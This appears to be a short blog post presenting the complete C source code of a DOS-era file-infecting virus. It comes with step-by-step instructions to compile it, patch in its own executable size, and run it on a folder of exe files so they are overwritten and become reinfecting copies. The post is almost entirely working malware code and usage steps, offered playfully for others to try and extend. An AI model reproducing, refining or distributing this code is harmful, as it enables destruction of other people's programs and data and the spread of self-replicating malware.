C LANGUAGE VIRUS
Open the Notepad and copy the below code into it:
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
Save as > virus.c
Now compile this code with your C compiler. You can take a look here
Note down the generated exe file length in bytes
Replace the value of X at line 23 in source code to this length in bytes
Recompile the code. The new exe file is ready to infect
PERFORM A TEST:
Open new empty folder
Put some exe files (you can also put the setup files)
When you execute the virus.exe file then all the files present there will be infected
All the infected files will be ready to reinfect
Debug this code for some more new ideas like I did. :P
No comments:
Post a Comment